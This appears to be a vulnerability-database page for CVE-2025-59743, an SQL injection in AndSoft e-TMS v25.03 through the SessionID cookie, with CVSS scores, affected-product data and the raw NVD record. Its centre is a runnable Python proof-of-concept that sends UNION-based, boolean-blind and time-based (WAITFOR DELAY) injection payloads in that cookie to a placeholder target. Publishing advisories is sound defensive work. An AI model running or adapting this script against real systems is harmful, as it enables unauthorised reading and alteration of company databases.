Security Vulnerability Report
中文
CVE-2025-59743 CVSS 9.8 CRITICAL

CVE-2025-59743

Published: 2025-10-02 15:15:54
Last Modified: 2025-10-02 20:31:18

Description

SQL injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability could allow an attacker to retrieve, create, update, and delete databases by sending a POST request. The relationship between parameter and assigned identifier is a 'SessionID' cookie in '/inc/connect/CONNECTION.ASP'.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:* - VULNERABLE
AndSoft e-TMS v25.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59743 - AndSoft e-TMS SQL Injection PoC # Vulnerability: SQL Injection via SessionID cookie in /inc/connect/CONNECTION.ASP # CVSS: 9.8 (Critical) import requests TARGET_URL = "http://target-server/inc/connect/CONNECTION.ASP" # SQL injection payload via SessionID cookie # Example: Extract database version using UNION-based injection payload = "' UNION SELECT NULL,@@version,NULL-- -" headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"SessionID={payload}", "User-Agent": "Mozilla/5.0" } # Send POST request with malicious SessionID cookie data = {"username": "test", "password": "test"} response = requests.post(TARGET_URL, headers=headers, data=data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Alternative: Boolean-based blind SQL injection payload_blind = "' AND 1=1-- -" headers["Cookie"] = f"SessionID={payload_blind}" response_true = requests.post(TARGET_URL, headers=headers, data=data) payload_blind_false = "' AND 1=2-- -" headers["Cookie"] = f"SessionID={payload_blind_false}" response_false = requests.post(TARGET_URL, headers=headers, data=data) if response_true.text != response_false.text: print("[+] Target is vulnerable to SQL injection!") # Time-based blind SQL injection import time payload_time = "'; WAITFOR DELAY '0:0:5'-- -" headers["Cookie"] = f"SessionID={payload_time}" start = time.time() response = requests.post(TARGET_URL, headers=headers, data=data) elapsed = time.time() - start if elapsed > 4: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59743", "sourceIdentifier": "[email protected]", "published": "2025-10-02T15:15:53.837", "lastModified": "2025-10-02T20:31:17.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability could allow an attacker to retrieve, create, update, and delete databases by sending a POST request. The relationship between parameter and assigned identifier is a 'SessionID' cookie in '/inc/connect/CONNECTION.ASP'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:*", "matchCriteriaId": "DA9BDB99-4B85-46EF-A8EA-B0E7B1DCF276"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/update-24092025-multiple-vulnerabilities-andsofts-e-tms", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}